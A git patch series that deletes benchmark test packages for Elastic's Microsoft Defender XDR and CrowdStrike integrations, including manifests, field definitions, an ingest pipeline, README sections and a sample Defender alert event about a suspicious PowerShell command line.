-        description: Batch size for the response of the Alert Security Graph API V2. The maximum supported batch size value is 2000.
-        default: 2000
-        multi: false
-        required: true
-        show_user: false
-      - name: http_client_timeout
-        type: text
-        title: HTTP Client Timeout
-        description: Duration before declaring that the HTTP client connection has timed out. Valid time units are ns, us, ms, s, m, h.
-        multi: false
-        required: true
-        show_user: false
-        default: 30s
-      - name: tags
-        type: text
-        title: Tags
-        description: Tags for the data-stream.
-        multi: true
-        required: true
-        show_user: false
-        default:
-          - forwarded
-          - m365_defender-alert
-      - name: preserve_original_event
-        required: true
-        show_user: true
-        title: Preserve original event
-        description: Preserves a raw copy of the original event, added to the field `event.original`.
-        type: bool
-        multi: false
-        default: false
-      - name: preserve_duplicate_custom_fields
-        required: true
-        show_user: false
-        title: Preserve duplicate custom fields
-        description: Preserve m365_defender.alert fields that were copied to Elastic Common Schema (ECS) fields.
-        type: bool
-        multi: false
-        default: false
-      - name: include_unknown_enum_members
-        show_user: false
-        title: Include unknown enum members
-        description: Return unknown members for properties of evolvable enum types.
-        type: bool
-        multi: false
-      - name: processors
-        type: yaml
-        title: Processors
-        multi: false
-        required: false
-        show_user: false
-        description: >-
-          Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details.
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/sample_event.json b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/sample_event.json
deleted file mode 100644
index 9b479ee170..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/sample_event.json
+++ /dev/null
@@ -1,193 +0,0 @@
-{
-    "@timestamp": "2023-10-20T09:54:07.503Z",
-    "agent": {
-        "ephemeral_id": "f0b1ddcf-5c43-49cb-be37-acefdf4372d0",
-        "id": "d6e963cc-04ee-46b8-af02-520891431883",
-        "name": "elastic-agent-85133",
-        "type": "filebeat",
-        "version": "8.19.4"
-    },
-    "cloud": {
-        "account": {
-            "id": "3adb963c-8e61-48e8-a06d-6dbb0dacea39"
-        }
-    },
-    "data_stream": {
-        "dataset": "m365_defender.alert",
-        "namespace": "57227",
-        "type": "logs"
-    },
-    "device": {
-        "id": [
-            "f18bd540-d5e4-46e0-8ddd-3d03a59e4e14"
-        ]
-    },
-    "ecs": {
-        "version": "8.11.0"
-    },
-    "elastic_agent": {
-        "id": "d6e963cc-04ee-46b8-af02-520891431883",
-        "snapshot": false,
-        "version": "8.19.4"
-    },
-    "event": {
-        "agent_id_status": "verified",
-        "category": [
-            "host"
-        ],
-        "created": "2023-10-20T09:53:09.883Z",
-        "dataset": "m365_defender.alert",
-        "duration": 2478000000,
-        "end": "2023-10-20T09:51:41.993Z",
-        "id": "daefa1828b-dd4e-405c-8a3b-aa28596830dd_1",
-        "ingested": "2026-01-05T12:04:28Z",
-        "kind": "alert",
-        "original": "{\"actorDisplayName\":null,\"additionalData\":null,\"alertPolicyId\":null,\"alertWebUrl\":\"https://security.microsoft.com/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39\",\"assignedTo\":null,\"category\":\"Execution\",\"classification\":null,\"comments\":[],\"createdDateTime\":\"2023-10-20T09:53:09.8839373Z\",\"description\":\"A suspicious PowerShell activity was observed on the machine. \\nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.\",\"detectionSource\":\"microsoftDefenderForEndpoint\",\"detectorId\":\"7f1c3609-a3ff-40e2-995b-c01770161d68\",\"determination\":null,\"evidence\":[{\"@odata.type\":\"#microsoft.graph.security.deviceEvidence\",\"azureAdDeviceId\":\"f18bd540-d5e4-46e0-8ddd-3d03a59e4e14\",\"createdDateTime\":\"2023-10-20T09:53:10.1933333Z\",\"defenderAvStatus\":\"notSupported\",\"detailedRoles\":[\"PrimaryDevice\"],\"deviceDnsName\":\"clw555test\",\"firstSeenDateTime\":\"2023-10-20T09:50:17.7383987Z\",\"healthStatus\":\"inactive\",\"ipInterfaces\":[\"192.168.5.65\",\"fe80::cfe4:80b:615c:38fb\",\"127.0.0.1\",\"::1\"],\"loggedOnUsers\":[{\"accountName\":\"CDPUserIS-38411\",\"domainName\":\"AzureAD\"}],\"mdeDeviceId\":\"505d70d89cfa3428f7aac7d2eb3a64c60fd3d843\",\"onboardingStatus\":\"onboarded\",\"osBuild\":22621,\"osPlatform\":\"Windows11\",\"rbacGroupId\":0,\"rbacGroupName\":null,\"remediationStatus\":\"none\",\"remediationStatusDetails\":null,\"riskScore\":\"high\",\"roles\":[],\"tags\":[],\"verdict\":\"unknown\",\"version\":\"22H2\",\"vmMetadata\":null}],\"firstActivityDateTime\":\"2023-10-20T09:51:39.5154802Z\",\"id\":\"daefa1828b-dd4e-405c-8a3b-aa28596830dd_1\",\"incidentId\":\"23\",\"incidentWebUrl\":\"https://security.microsoft.com/incidents/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39\",\"lastActivityDateTime\":\"2023-10-20T09:51:41.9939003Z\",\"lastUpdateDateTime\":\"2023-10-20T09:54:07.5033333Z\",\"mitreTechniques\":[\"T1059.001\"],\"productName\":\"Microsoft Defender for Endpoint\",\"providerAlertId\":\"efa1828b-dd4e-405c-8a3b-aa28596830dd_1\",\"recommendedActions\":\"1. Examine the PowerShell command line to understand what commands were executed. Note: the content may need to be decoded if it is Base64-encoded.\\n2. Search the script for more indicators to investigate - for example IP addresses (potential C\\u0026C servers), target computers etc.\\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert.\\n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.\",\"resolvedDateTime\":null,\"serviceSource\":\"microsoftDefenderForEndpoint\",\"severity\":\"medium\",\"status\":\"new\",\"tenantId\":\"3adb963c-8e61-48e8-a06d-6dbb0dacea39\",\"threatDisplayName\":null,\"threatFamilyName\":null,\"title\":\"Suspicious PowerShell command line\"}",
-        "provider": "microsoftDefenderForEndpoint",
-        "severity": 47,
-        "start": "2023-10-20T09:51:39.515Z",
-        "type": [
-            "info"
-        ],
-        "url": "https://security.microsoft.com/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39"
-    },
-    "host": {
-        "hostname": [
-            "clw555test"
-        ],
-        "id": [
-            "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843"
-        ],
-        "ip": [
-            "192.168.5.65",
-            "fe80::cfe4:80b:615c:38fb",
-            "127.0.0.1",
-            "::1"
-        ],
-        "os": {
-            "name": [
-                "Windows11"
-            ],
-            "version": [
-                "22H2"
-            ]
-        }
-    },
-    "input": {
-        "type": "httpjson"
-    },
-    "m365_defender": {
-        "alert": {
-            "category": "Execution",
-            "created_datetime": "2023-10-20T09:53:09.883Z",
-            "description": "A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.",
-            "detection_source": "microsoftDefenderForEndpoint",
-            "detector_id": "7f1c3609-a3ff-40e2-995b-c01770161d68",
-            "evidence": [
-                {
-                    "azure_ad_device_id": "f18bd540-d5e4-46e0-8ddd-3d03a59e4e14",
-                    "created_datetime": "2023-10-20T09:53:10.193Z",
-                    "defender_av_status": "notSupported",
-                    "detailed_roles": [
-                        "PrimaryDevice"
-                    ],
-                    "device_dns_name": "clw555test",
-                    "first_seen_datetime": "2023-10-20T09:50:17.738Z",
-                    "health_status": "inactive",
-                    "ip_interfaces": [
-                        "192.168.5.65",
-                        "fe80::cfe4:80b:615c:38fb",
-                        "127.0.0.1",
-                        "::1"
-                    ],
-                    "logged_on_users": [
-                        {
-                            "account_name": "CDPUserIS-38411",
-                            "domain_name": "AzureAD"
-                        }
-                    ],
-                    "mde_device_id": "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843",
-                    "odata_type": "#microsoft.graph.security.deviceEvidence",
-                    "onboarding_status": "onboarded",
-                    "os_build": "22621",
-                    "os_platform": "Windows11",
-                    "rbac_group": {
-                        "id": "0"
-                    },
-                    "remediation_status": "none",
-                    "risk_score": "high",
-                    "verdict": "unknown",
-                    "version": "22H2"
-                }
-            ],
-            "first_activity_datetime": "2023-10-20T09:51:39.515Z",
-            "id": "daefa1828b-dd4e-405c-8a3b-aa28596830dd_1",
-            "incident_id": "23",
-            "incident_web_url": {
-                "domain": "security.microsoft.com",
-                "original": "https://security.microsoft.com/incidents/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39",
-                "path": "/incidents/23",
-                "query": "tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39",
-                "scheme": "https"
-            },
-            "last_activity_datetime": "2023-10-20T09:51:41.993Z",
-            "last_update_datetime": "2023-10-20T09:54:07.503Z",
-            "mitre_techniques": [
-                "T1059.001"
-            ],
-            "provider_alert_id": "efa1828b-dd4e-405c-8a3b-aa28596830dd_1",
-            "recommended_actions": "1. Examine the PowerShell command line to understand what commands were executed. Note: the content may need to be decoded if it is Base64-encoded.\n2. Search the script for more indicators to investigate - for example IP addresses (potential C&C servers), target computers etc.\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert.\n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.",
-            "service_source": "microsoftDefenderForEndpoint",
-            "severity": "medium",
-            "status": "new",
-            "tenant_id": "3adb963c-8e61-48e8-a06d-6dbb0dacea39",
-            "title": "Suspicious PowerShell command line",
-            "web_url": {
-                "domain": "security.microsoft.com",
-                "original": "https://security.microsoft.com/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39",
-                "path": "/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1",
-                "query": "tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39",
-                "scheme": "https"
-            }
-        }
-    },
-    "message": "A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.",
-    "related": {
-        "hosts": [
-            "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843",
-            "Windows11",
-            "22H2",
-            "clw555test",
-            "AzureAD"
-        ],
-        "ip": [
-            "192.168.5.65",
-            "fe80::cfe4:80b:615c:38fb",
-            "127.0.0.1",
-            "::1"
-        ],
-        "user": [
-            "CDPUserIS-38411"
-        ]
-    },
-    "tags": [
-        "preserve_original_event",
-        "preserve_duplicate_custom_fields",
-        "forwarded",
-        "m365_defender-alert"
-    ],
-    "threat": {
-        "tactic": {
-            "name": [
-                "Execution"
-            ]
-        },
-        "technique": {
-            "subtechnique": {
-                "id": [
-                    "T1059.001"
-                ]
-            }
-        }
-    }
-}
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/agent/stream/filestream.yml.hbs b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/agent/stream/filestream.yml.hbs
deleted file mode 100644
index cc801fea22..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/agent/stream/filestream.yml.hbs
+++ /dev/null
@@ -1,4 +0,0 @@
-paths:
-{{#each paths as |path i|}}
-  - {{path}}
-{{/each}}
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml
deleted file mode 100644
index 7feb820bb5..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml
+++ /dev/null
@@ -1,21 +0,0 @@
----
-description: Pipeline for m365_defender logfile data stream.
-processors:
-  - set:
-      field: event.kind
-      value: event
-  - set:
-      field: event.dataset
-      value: m365_defender.logfile
-  - set:
-      field: event.module
-      value: m365_defender
-on_failure:
-  - set:
-      field: event.kind
-      value: pipeline_error
-  - append:
-      field: error.message
-      value: >-
-        Processor "{{ _ingest.on_failure_processor_type }}" with tag "{{ _ingest.on_failure_processor_tag }}"
-        in pipeline "{{ _ingest.on_failure_pipeline }}" failed with message "{{ _ingest.on_failure_message }}"
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/base-fields.yml
deleted file mode 100644
index 22acc0bad8..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/base-fields.yml
+++ /dev/null
@@ -1,29 +0,0 @@
-- name: data_stream.type
-  type: constant_keyword
-  description: Data stream type.
-- name: data_stream.dataset
-  type: constant_keyword
-  description: Data stream dataset.
-- name: data_stream.namespace
-  type: constant_keyword
-  description: Data stream namespace.
-- name: event.module
-  type: constant_keyword
-  description: Event module.
-  value: m365_defender
-- name: event.dataset
-  type: constant_keyword
-  description: Event dataset.
-  value: m365_defender.logfile
-- name: '@timestamp'
-  type: date
-  description: Event timestamp.
-- name: input.type
-  type: keyword
-  description: Type of Filebeat input.
-- name: log.file.path
-  type: keyword
-  description: Full path to the log file this event came from.
-- name: log.offset
-  type: long
-  description: Offset of the entry in the log file.
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/fields.yml
deleted file mode 100644
index 022e040ae1..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/fields.yml
+++ /dev/null
@@ -1,6 +0,0 @@
-- name: m365_defender.logfile
-  type: group
-  fields:
-    - name: message
-      type: text
-      description: Raw log line.
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/manifest.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/manifest.yml
deleted file mode 100644
index 7167744787..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/manifest.yml
+++ /dev/null
@@ -1,31 +0,0 @@
-title: Benchmark logfile data stream
-type: logs
-streams:
-  - input: filestream
-    title: Collect logs via filestream
-    description: Collect benchmark events via filestream input.
-    template_path: filestream.yml.hbs
-    vars:
-      - name: paths
-        type: text
-        title: Paths
-        multi: true
-        required: true
-        show_user: true
-        default:
-          - /var/log/logfile-*.log
-      - name: tags
-        type: text
-        title: Tags
-        multi: true
-        required: true
-        show_user: false
-        default:
-          - forwarded
-          - m365_defender-logfile
-      - name: preserve_original_event
-        type: bool
-        title: Preserve original event
-        required: true
-        show_user: true
-        default: false
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/docs/README.md b/test/packages/benchmarks/system_benchmark_m365_defender/docs/README.md
deleted file mode 100644
index fb5302bfb7..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/docs/README.md
+++ /dev/null
@@ -1,6 +0,0 @@
-# Multi-Deployer Benchmark
-
-Test package that exercises both `docker` and `tf` service deployers in system benchmarks.
-
-- **httpjson** data stream: uses a `docker` deployer running a mock HTTP server.
-- **logfile** data stream: uses a `tf` deployer with the Terraform `local` provider (no cloud credentials required).
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml b/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml
deleted file mode 100644
index 62ae0ccd81..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml
+++ /dev/null
@@ -1,234 +0,0 @@
-format_version: "3.4.0"
-name: m365_defender
-title: Microsoft Defender XDR
-version: "5.11.1"
-description: Collect logs from Microsoft Defender XDR with Elastic Agent.
-categories:
-  - "security"
-  - "edr_xdr"
-  - "vulnerability_workflow"
-  - "cloudsecurity_cdr"
-type: integration
-conditions:
-  elastic:
-    subscription: basic
-  kibana:
-    version: "^8.19.10 || ~9.1.10 || ~9.2.4 || ^9.3.0"
-policy_templates:
-  - name: m365_defender
-    title: Microsoft Defender XDR Logs
-    description: Collect logs from Microsoft Defender XDR.
-    deployment_modes:
-      default:
-        enabled: true
-      agentless:
-        enabled: true
-        organization: security
-        division: engineering
-        team: security-service-integrations
-        resources:
-          requests:
-            memory: 4Gi # Due to the large volume of data being processed in memory, a 4 GB allocation is required for agentless deployment-anything less may lead to out-of-memory (OOM) issue.
-    inputs:
-      - type: httpjson
-        title: "Collect alerts and incidents using Microsoft Graph Security API"
-        description: "Collect alerts and incidents from Microsoft Defender XDR using Microsoft Graph Security API"
-        vars:
-          - name: login_url
-            type: text
-            title: Oauth2 Token URL
-            required: true
-            show_user: false
-            default: https://login.microsoftonline.com
-            description: The Base URL endpoint that will be used to generate the tokens during the oauth2 flow. If not provided, above `Tenant ID` will be used for oauth2 token generation.
-          - name: token_endpoint
-            type: text
-            title: OAuth Token endpoint
-            required: true
-            show_user: false
-            default: oauth2/v2.0/token
-            description: "Microsoft supports multiple Oauth2 URL endpoints, the default is oauth2/v2.0/token, but can also be oauth2/token"
-            secret: false
-          - name: enable_request_tracer
-            type: bool
-            title: Enable request tracing
-            default: false
-            multi: false
-            required: false
-            show_user: false
-            description: >-
-              The request tracer logs requests and responses to the agent's local file-system for debugging configurations. Enabling this request tracing compromises security and should only be used for debugging. Disabling the request tracer will delete any stored traces. Refer to [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-httpjson.html#_request_tracer_filename) for details.
-          - name: client_id
-            type: text
-            title: Client ID
-            description: Client ID for Azure AD application.
-            multi: false
-            required: true
-            show_user: true
-          - name: client_secret
-            type: password
-            title: Client Secret
-            description: Client Secret for Azure AD application.
-            multi: false
-            required: true
-            show_user: true
-            secret: true
-          - name: tenant_id
-            type: text
-            title: Tenant ID
-            description: Tenant ID of the Azure.
-            multi: false
-            required: true
-            show_user: true
-          - name: oauth_endpoint_params
-            type: yaml
-            title: OAuth2 Endpoint Params
-            description: Set of values that will be sent on each resource to the OAuth Server URL. Each param key can have multiple values and they are appended to the URL as query parameters.
-            show_user: false
-            multi: false
-            required: false
-          - name: proxy_url
-            type: text
-            title: Proxy URL
-            multi: false
-            required: false
-            show_user: false
-            description: URL to proxy connections in the form of http[s]://<user>:<password>@<server name/ip>:<port>. Please ensure your username and password are in URL encoded format.
-          - name: ssl
-            type: yaml
-            title: SSL Configuration
-            description: SSL configuration options. Refer to [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-ssl.html#ssl-common-config) for details.
-            multi: false
-            required: false
-            show_user: false
-            default: |
-              #certificate_authorities:
-              #  - |
-              #    -----BEGIN CERTIFICATE-----
-              #    MIIDCjCCAfKgAwIBAgITJ706Mu2wJlKckpIvkWxEHvEyijANBgkqhkiG9w0BAQsF
-              #    ADAUMRIwEAYDVQQDDAlsb2NhbGhvc3QwIBcNMTkwNzIyMTkyOTA0WhgPMjExOTA2
-              #    MjgxOTI5MDRaMBQxEjAQBgNVBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEB
-              #    BQADggEPADCCAQoCggEBANce58Y/JykI58iyOXpxGfw0/gMvF0hUQAcUrSMxEO6n
-              #    fZRA49b4OV4SwWmA3395uL2eB2NB8y8qdQ9muXUdPBWE4l9rMZ6gmfu90N5B5uEl
-              #    94NcfBfYOKi1fJQ9i7WKhTjlRkMCgBkWPkUokvBZFRt8RtF7zI77BSEorHGQCk9t
-              #    /D7BS0GJyfVEhftbWcFEAG3VRcoMhF7kUzYwp+qESoriFRYLeDWv68ZOvG7eoWnP
-              #    PsvZStEVEimjvK5NSESEQa9xWyJOmlOKXhkdymtcUd/nXnx6UTCFgnkgzSdTWV41
-              #    CI6B6aJ9svCTI2QuoIq2HxX/ix7OvW1huVmcyHVxyUECAwEAAaNTMFEwHQYDVR0O
-              #    BBYEFPwN1OceFGm9v6ux8G+DZ3TUDYxqMB8GA1UdIwQYMBaAFPwN1OceFGm9v6ux
-              #    8G+DZ3TUDYxqMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAG5D
-              #    874A4YI7YUwOVsVAdbWtgp1d0zKcPRR+r2OdSbTAV5/gcS3jgBJ3i1BN34JuDVFw
-              #    3DeJSYT3nxy2Y56lLnxDeF8CUTUtVQx3CuGkRg1ouGAHpO/6OqOhwLLorEmxi7tA
-              #    H2O8mtT0poX5AnOAhzVy7QW0D/k4WaoLyckM5hUa6RtvgvLxOwA0U+VGurCDoctu
-              #    8F4QOgTAWyh8EZIwaKCliFRSynDpv3JTUwtfZkxo6K6nce1RhCWFAsMvDZL8Dgc0
-              #    yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk
-              #    sxSmbIUfc2SGJGCJD4I=
-              #    -----END CERTIFICATE-----
-      - type: filestream
-        title: M365 defender logs using filestream input
-        description: Collect M365 defender logs using filestream input.
-      - type: azure-eventhub
-        title: "Collect events using Azure Event Hub"
-        description: "Collect events from Microsoft Defender XDR using Azure Event Hub"
-      - type: cel
-        title: "Collect vulnerabilities using Microsoft Defender for Endpoint API"
-        description: "Collect vulnerabilities from Microsoft Defender XDR using Microsoft Defender for Endpoint API."
-        vars:
-          - name: url
-            type: text
-            title: URL
-            description: By default, the URL is set to `https://api.security.microsoft.com`. For better performance, use a server closer to your geolocation. Refer to [documentation](https://learn.microsoft.com/en-us/defender-endpoint/api/exposed-apis-list#versioning) for details.
-            multi: false
-            required: true
-            show_user: false
-            default: https://api.security.microsoft.com
-          - name: client_id
-            type: text
-            title: Client ID
-            description: Client ID for Microsoft Entra ID application.
-            multi: false
-            required: true
-            show_user: true
-          - name: client_secret
-            type: password
-            title: Client Secret
-            secret: true
-            description: Client Secret for Microsoft Entra ID application.
-            multi: false
-            required: true
-            show_user: true
-          - name: azure_tenant_id
-            type: text
-            title: Tenant ID
-            description: Tenant ID of the Azure.
-            multi: false
-            required: true
-            show_user: true
-          - name: token_url
-            type: text
-            title: Oauth2 Token URL
-            description: The Base URL endpoint that will be used to generate the tokens during the oauth2 flow. If not provided, above `Tenant ID` will be used for oauth2 token generation.
-            show_user: true
-            required: false
-            default: https://login.microsoftonline.com
-            secret: false
-          - name: token_scopes
-            type: text
-            title: Token Scopes
-            description: Defines the level of access granted to the API. This scope is required to authenticate and authorize API requests in Microsoft Defender XDR Vulnerability Management.
-            multi: true
-            secret: false
-            required: true
-            show_user: false
-            default:
-              - "https://securitycenter.onmicrosoft.com/windowsatpservice/.default"
-          - name: oauth_endpoint_params
-            type: yaml
-            title: OAuth2 Endpoint Params
-            description: Set of values that will be sent on each resource to the OAuth Server URL. Each param key can have multiple values and they are appended to the URL as query parameters.
-            show_user: false
-            multi: false
-            required: false
-            default: |
-              #grant_type: client_credentials
-              #refresh_token:
-              #  - refresh_token_1
-              #  - refresh_token_2
-          - name: proxy_url
-            type: text
-            title: Proxy URL
-            description: URL to proxy connections in the form of http[s]://<user>:<password>@<server name/ip>:<port>. Please ensure your username and password are in URL encoded format.
-            multi: false
-            required: false
-            show_user: false
-          - name: ssl
-            type: yaml
-            title: SSL Configuration
-            description: SSL configuration options. Refer to [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-ssl.html#ssl-common-config) for details.
-            multi: false
-            required: false
-            show_user: false
-            default: |
-              #certificate_authorities:
-              #  - |
-              #    -----BEGIN CERTIFICATE-----
-              #    MIIDCjCCAfKgAwIBAgITJ706Mu2wJlKckpIvkWxEHvEyijANBgkqhkiG9w0BAQsF
-              #    ADAUMRIwEAYDVQQDDAlsb2NhbGhvc3QwIBcNMTkwNzIyMTkyOTA0WhgPMjExOTA2
-              #    MjgxOTI5MDRaMBQxEjAQBgNVBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEB
-              #    BQADggEPADCCAQoCggEBANce58Y/JykI58iyOXpxGfw0/gMvF0hUQAcUrSMxEO6n
-              #    fZRA49b4OV4SwWmA3395uL2eB2NB8y8qdQ9muXUdPBWE4l9rMZ6gmfu90N5B5uEl
-              #    94NcfBfYOKi1fJQ9i7WKhTjlRkMCgBkWPkUokvBZFRt8RtF7zI77BSEorHGQCk9t
-              #    /D7BS0GJyfVEhftbWcFEAG3VRcoMhF7kUzYwp+qESoriFRYLeDWv68ZOvG7eoWnP
-              #    PsvZStEVEimjvK5NSESEQa9xWyJOmlOKXhkdymtcUd/nXnx6UTCFgnkgzSdTWV41
-              #    CI6B6aJ9svCTI2QuoIq2HxX/ix7OvW1huVmcyHVxyUECAwEAAaNTMFEwHQYDVR0O
-              #    BBYEFPwN1OceFGm9v6ux8G+DZ3TUDYxqMB8GA1UdIwQYMBaAFPwN1OceFGm9v6ux
-              #    8G+DZ3TUDYxqMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAG5D
-              #    874A4YI7YUwOVsVAdbWtgp1d0zKcPRR+r2OdSbTAV5/gcS3jgBJ3i1BN34JuDVFw
-              #    3DeJSYT3nxy2Y56lLnxDeF8CUTUtVQx3CuGkRg1ouGAHpO/6OqOhwLLorEmxi7tA
-              #    H2O8mtT0poX5AnOAhzVy7QW0D/k4WaoLyckM5hUa6RtvgvLxOwA0U+VGurCDoctu
-              #    8F4QOgTAWyh8EZIwaKCliFRSynDpv3JTUwtfZkxo6K6nce1RhCWFAsMvDZL8Dgc0
-              #    yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk
-              #    sxSmbIUfc2SGJGCJD4I=
-              #    -----END CERTIFICATE-----
-owner:
-  github: elastic/security-service-integrations
-  type: elastic

From fbc20711027148f721c7eb5f0d29fcdccc33f5ed Mon Sep 17 00:00:00 2001
From: kcreddy <krish.reddy91@gmail.com>
Date: Wed, 25 Mar 2026 19:39:42 +0530
Subject: [PATCH 15/19] Fix README

---
 .../_dev/build/docs/README.md                 |   52 -
 .../docs/README.md                            | 3286 -----------------
 ...-2921b7f0-99b5-11ee-bf4d-afbc95e0486c.json |  747 ----
 ...-63da2573-4e68-4e7d-a06b-6858edb60fd5.json | 1111 ------
 ...-a4972bc0-fb53-11eb-abed-07307b3f2b0f.json | 1062 ------
 ...-ad80a080-821b-11ee-bae0-937af575b750.json | 1208 ------
 ...-d8070b00-99b3-11ee-bf4d-afbc95e0486c.json | 2506 -------------
 ...-e64e8fe0-8210-11ee-bae0-937af575b750.json | 1073 ------
 ...-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c.json |   50 -
 ...-9b99d190-8214-11ee-bae0-937af575b750.json |  194 -
 ...-a9e7ff80-8212-11ee-bae0-937af575b750.json |   99 -
 .../kibana/tags.yml                           |    4 -
 12 files changed, 11392 deletions(-)
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-9b99d190-8214-11ee-bae0-937af575b750.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/tags.yml

diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md
index 964a2b4d41..aef2c75e12 100644
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md
@@ -313,55 +313,3 @@ The integration sets `event.severity` according to the mapping in the table abov
 | 40 - 59                | medium        |
 | 60 - 79                | high          |
 | 80 - 100               | critical      |
-
-## Logs
-
-### Alert
-
-This is the `alert` dataset.
-
-#### Example
-
-{{event "alert"}}
-
-{{fields "alert"}}
-
-### Falcon
-
-This is the `falcon` dataset.
-
-#### Example 
-
-{{event "falcon"}}
-
-{{fields "falcon"}}
-
-### FDR
-
-This is the `fdr` dataset.
-
-#### Example
-
-{{event "fdr"}}
-
-{{fields "fdr"}}
-
-### Host
-
-This is the `host` dataset.
-
-#### Example
-
-{{event "host"}}
-
-{{fields "host"}}
-
-### Vulnerability
-
-This is the `vulnerability` dataset.
-
-#### Example
-
-{{event "vulnerability"}}
-
